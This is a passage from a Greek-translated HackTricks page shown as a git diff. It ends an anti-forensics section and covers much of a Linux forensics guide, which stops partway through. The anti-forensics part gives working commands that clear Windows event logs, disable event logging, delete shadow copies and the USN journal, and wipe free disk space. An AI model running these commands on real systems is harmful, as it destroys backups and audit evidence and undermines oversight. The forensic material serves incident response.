4. Κλείστε τον Επεξεργαστή Μητρώου και επανεκκινήστε τον διακομιστή.
### Delete USB History
Όλες οι **καταχωρήσεις συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε την ιστορία USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να βεβαιωθείτε ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό θα πρέπει επίσης να διαγραφεί.
### Disable Shadow Copies
**Λίστα** με τις shadow copies με `vssadmin list shadowstorage`\
**Διαγράψτε** τις εκτελώντας `vssadmin delete shadow`
Μπορείτε επίσης να τις διαγράψετε μέσω GUI ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Για να απενεργοποιήσετε τις shadow copies [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά την κλικ στο κουμπί εκκίνησης των Windows.
2. Από τη λίστα, βρείτε "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ.
3. Επιλέξτε Απενεργοποιημένο από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και OK.
Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση των αρχείων που θα αντιγραφούν στην shadow copy στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
### Overwrite deleted files
* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο Windows**: `cipher /w:C` Αυτό θα υποδείξει στον cipher να αφαιρέσει οποιαδήποτε δεδομένα από τον διαθέσιμο μη χρησιμοποιούμενο χώρο δίσκου μέσα στον δίσκο C.
* Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie)
## Διαγραφή αρχείων καταγραφής συμβάντων των Windows
### Delete Windows event logs
* Windows + R --> eventvwr.msc --> Ανάπτυξη "Καταγραφές των Windows" --> Δεξί κλικ σε κάθε κατηγορία και επιλογή "Εκκαθάριση καταγραφής"
* Windows + R --> eventvwr.msc --> Επεκτείνετε "Windows Logs" --> Κάντε δεξί κλικ σε κάθε κατηγορία και επιλέξτε "Clear Log"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Απενεργοποίηση καταγραφής συμβάντων των Windows
### Disable Windows event logs
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* Εντός της ενότητας υπηρεσιών, απενεργοποιήστε την υπηρεσία "Windows Event Log"
* Μέσα στην ενότητα υπηρεσιών απενεργοποιήστε την υπηρεσία "Windows Event Log"
* `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl`
## Απενεργοποίηση $UsnJrnl
### Disable $UsnJrnl
* `fsutil usn deletejournal /d c:`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Ερευνα Linux
# Linux Forensics
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του **HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Αρχική Συλλογή Πληροφοριών
### Βασικές Πληροφορίες
Καταρχάς, συνιστάται να έχετε ένα **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά:
Πρώτα απ' όλα, συνιστάται να έχετε κάποιο **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες σε αυτό** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να το τοποθετήσετε και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Μόλις έχετε ρυθμίσει το σύστημα για χρήση καλών και γνωστών δυαδικών αρχείων, μπορείτε να ξεκινήσετε την **εξαγωγή κάποιων βασικών πληροφοριών**:
Μόλις έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλές και γνωστές δυαδικές εκδόσεις, μπορείτε να αρχίσετε **να εξάγετε κάποιες βασικές πληροφορίες**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -49,46 +50,47 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Υπούλες πληροφορίες
#### Suspicious information
Κατά την απόκτηση των βασικών πληροφοριών, πρέπει να ελέγξετε για περίεργα πράγματα όπως:
Ενώ αποκτάτε τις βασικές πληροφορίες, θα πρέπει να ελέγξετε για περίεργα πράγματα όπως:
* **Διεργασίες ρίζας** συνήθως τρέχουν με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία ρίζας με ένα μεγάλο PID μπορείτε να υποψιαστείτε
* Ελέγξτε τις **εγγεγραμμένες συνδέσεις** χρηστών χωρίς κέλυφος μέσα στο `/etc/passwd`
* Ελέγξτε τις **κατακερματισμένες κωδικοποιήσεις** μέσα στο `/etc/shadow` για χρήστες χωρίς κέλυφος
* **Διεργασίες root** συνήθως εκτελούνται με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία root με μεγάλο PID μπορεί να υποψιαστείτε
* Ελέγξτε για **καταγεγραμμένες συνδέσεις** χρηστών χωρίς shell μέσα στο `/etc/passwd`
* Ελέγξτε για **hash κωδικών πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς shell
### Ανάκτηση Αναμνηστικού
### Memory Dump
Για να αποκτήσετε τη μνήμη του λειτουργικού συστήματος που τρέχει, συνιστάται να χρησιμοποιήσετε το [**LiME**](https://github.com/504ensicsLabs/LiME).\
Για να το **μεταγλωτίσετε**, πρέπει να χρησιμοποιήσετε το **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή θύματος.
Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε [**LiME**](https://github.com/504ensicsLabs/LiME).\
Για να **συγκεντρώσετε** το, πρέπει να χρησιμοποιήσετε τον **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή του θύματος.
{% hint style="info" %}
Να θυμάστε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή θύματος καθώς θα προκαλέσει πολλές αλλαγές σε αυτήν
Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή του θύματος καθώς θα κάνει πολλές αλλαγές σε αυτήν
{% endhint %}
Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε το [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το μεταγλωτίσετε με τις σωστές κεφαλίδες πυρήνα. Για να **ανακτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/<έκδοση πυρήνα>` στη μηχανή σας, και στη συνέχεια να **μεταγλωτίσετε** το LiME χρησιμοποιώντας αυτές:
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το συγκεντρώσετε με σωστές κεφαλίδες πυρήνα. Για να **αποκτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής του θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/<kernel version>` στη μηχανή σας, και στη συνέχεια να **συγκεντρώσετε** το LiME χρησιμοποιώντας αυτές:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME υποστηρίζει 3 **μορφές**:
* Raw (κάθε τμήμα συνενωμένο μαζί)
* Raw (κάθε τμήμα συνδυασμένο μαζί)
* Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits)
* Lime (συνιστώμενη μορφή με μεταδεδομένα)
Το LiME μπορεί επίσης να χρησιμοποιηθεί για να **στείλει την αντιγραφή μέσω δικτύου** αντί να την αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι σαν: `path=tcp:4444`
LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444`
### Δημιουργία εικόνας δίσκου
#### Απενεργοποίηση
### Disk Imaging
Καταρχάς, θα πρέπει να **απενεργοποιήσετε το σύστημα**. Αυτό δεν είναι πάντα μια επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας διακομιστής παραγωγής που η εταιρεία δεν μπορεί να επιτρέψει να τεθεί εκτός λειτουργίας.\
Υπάρχουν **2 τρόποι** απενεργοποίησης του συστήματος, μια **κανονική απενεργοποίηση** και μια **απενεργοποίηση με "αποσύνδεση του φις"**. Ο πρώτος θα επιτρέψει στις **διεργασίες να τερματιστούν όπως συνήθως** και το **σύστημα αρχείων** να **συγχρονιστεί**, αλλά θα επιτρέψει επίσης στο πιθανό **κακόβουλο λογισμικό** να **καταστρέψει αποδεικτικά στοιχεία**. Η προσέγγιση "αποσύνδεση του φις" μπορεί να συνεπάγεται **κάποια απώλεια πληροφοριών** (δεν θα χαθεί πολύ από τις πληροφορίες καθώς έχουμε ήδη λάβει μια εικόνα της μνήμης) και το **κακόβουλο λογισμικό δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν υποψιάζεστε ότι μπορεί να υπάρχει **κακόβουλο λογισμικό**, απλά εκτελέστε την εντολή **`sync`** στο σύστημα και αποσυνδέστε το φις.
#### Shutting down
#### Λήψη εικόνας του δίσκου
Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\
Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, μια **κανονική απενεργοποίηση** και μια **"τραβήξτε το βύσμα" απενεργοποίηση**. Η πρώτη θα επιτρέψει στις **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβήξτε το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και το **κακόβουλο λογισμικό δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλο λογισμικό**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα.
Είναι σημαντικό να σημειώσετε ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας.
#### Taking an image of the disk
Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -97,9 +99,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Προανάλυση εικόνας δίσκου
### Disk Image προ-ανάλυση
Εικονική αντιγραφή ενός δίσκου με καμία επιπλέον δεδομένα.
Η απεικόνιση μιας δισκέτας χωρίς περισσότερα δεδομένα.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -155,36 +157,36 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Αναζήτηση γνωστού Malware
## Αναζητήστε γνωστό κακόβουλο λογισμικό
### Τροποποιημένα Αρχεία Συστήματος
### Τροποποιημένα αρχεία συστήματος
Το Linux προσφέρει εργαλεία για τη διασφάλιση της ακεραιότητας των συστατικών του συστήματος, το οποίο είναι κρίσιμο για τον εντοπισμό ενδεχόμενα προβληματικών αρχείων.
Το Linux προσφέρει εργαλεία για να διασφαλίσει την ακεραιότητα των συστατικών του συστήματος, κρίσιμα για την ανίχνευση δυνητικά προβληματικών αρχείων.
* **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε την εντολή `rpm -Va` για μια συνολική έλεγχο.
* **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχικό έλεγχο, ακολουθούμενο από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για τον εντοπισμό οποιωνδήποτε προβλημάτων.
* **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε `rpm -Va` για μια ολοκληρωμένη έλεγχο.
* **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχική επαλήθευση, ακολουθούμενη από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για να εντοπίσετε τυχόν προβλήματα.
### Εργαλεία Εντοπισμού Malware/Rootkit
### Ανιχνευτές κακόβουλου λογισμικού/Rootkit
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για τον εντοπισμό malware:
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για την ανεύρεση κακόβουλου λογισμικού:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## Αναζήτηση εγκατεστημένων προγραμμάτων
## Αναζητήστε εγκατεστημένα προγράμματα
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα τόσο σε συστήματα Debian όσο και RedHat, σκεφτείτε να εκμεταλλευτείτε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων σε συνδυασμό με χειροκίνητους ελέγχους σε κοινούς καταλόγους.
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων παράλληλα με χειροκίνητους ελέγχους σε κοινές καταλόγους.
* Για το Debian, ελέγξτε τα _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας το `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
* Οι χρήστες RedHat μπορούν να ερευνήσουν τη βάση δεδομένων RPM με την εντολή `rpm -qa --root=/mntpath/var/lib/rpm` για να καταχωρήσουν τα εγκατεστημένα πακέτα.
* Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
* Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα.
Για να ανακαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξετάστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ και _**`/sbin`**_. Συνδυάστε τις λίστες καταλόγων με εντολές ειδικές για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, ενισχύοντας έτσι την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
Για να αποκαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, και _**`/sbin`**_. Συνδυάστε τις καταχωρήσεις καταλόγων με εντολές συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, ενισχύοντας την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -203,22 +205,22 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με την υποστήριξη των πιο προηγμένων εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων
Φανταστείτε ένα διεργασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να το εξάγετε
Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξαγάγετε
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Επιθεώρηση τοποθεσιών εκκίνησης αυτόματης εκκίνησης
## Εξέταση Τοποθεσιών Αυτοεκκίνησης
### Προγραμματισμένες εργασίες
### Προγραμματισμένα Καθήκοντα
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@ -234,74 +236,94 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
```
### Υπηρεσίες
Διαδρομές όπου μια κακόβουλη εφαρμογή θα μπορούσε να εγκατασταθεί ως υπηρεσία:
Διαδρομές όπου ένα κακόβουλο λογισμικό θα μπορούσε να εγκατασταθεί ως υπηρεσία:
- **/etc/inittab**: Καλεί σενάρια εκκίνησης όπως το rc.sysinit, καθοδηγώντας προς περαιτέρω σενάρια εκκίνησης.
- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, με το δεύτερο να βρίσκεται σε παλαιότερες εκδόσεις Linux.
- **/etc/init.d/**: Χρησιμοποιείται σε συγκεκριμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
- Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την εκδοχή του Linux.
- **/etc/systemd/system**: Ένας κατάλογος για σενάρια συστήματος και διαχείρισης υπηρεσιών.
- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους προς υπηρεσίες που πρέπει να ξεκινήσουν σε ένα επίπεδο εκτέλεσης πολλών χρηστών.
- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή υπηρεσίες τρίτων.
- **\~/.config/autostart/**: Για εφαρμογές εκκίνησης που είναι συγκεκριμένες στον χρήστη, οι οποίες μπορεί να αποτελούν κρυψώνα για κακόβουλο λογισμικό που στοχεύει τον χρήστη.
- **/lib/systemd/system/**: Αρχεία μονάδας προεπιλογής για ολόκληρο το σύστημα που παρέχονται από εγκατεστημένα πακέτα.
* **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης.
* **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το δεύτερο βρίσκεται σε παλαιότερες εκδόσεις Linux.
* **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
* Οι υπηρεσίες μπορούν επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux.
* **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχείρισης συστήματος και υπηρεσιών.
* **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους σε υπηρεσίες που θα πρέπει να ξεκινούν σε επίπεδο εκκίνησης πολλαπλών χρηστών.
* **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή τρίτων υπηρεσίες.
* **\~/.config/autostart/**: Για αυτόματες εφαρμογές εκκίνησης συγκεκριμένες για τον χρήστη, οι οποίες μπορεί να είναι κρυψώνες για κακόβουλο λογισμικό που στοχεύει χρήστες.
* **/lib/systemd/system/**: Αρχεία μονάδας προεπιλογής σε επίπεδο συστήματος που παρέχονται από εγκατεστημένα πακέτα.
### Πυρήνας Προγραμμάτων
### Μονάδες Πυρήνα
Οι πυρήνες Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι κατάλογοι και τα αρχεία που είναι κρίσιμα για αυτούς τους πυρήνες περιλαμβάνουν:
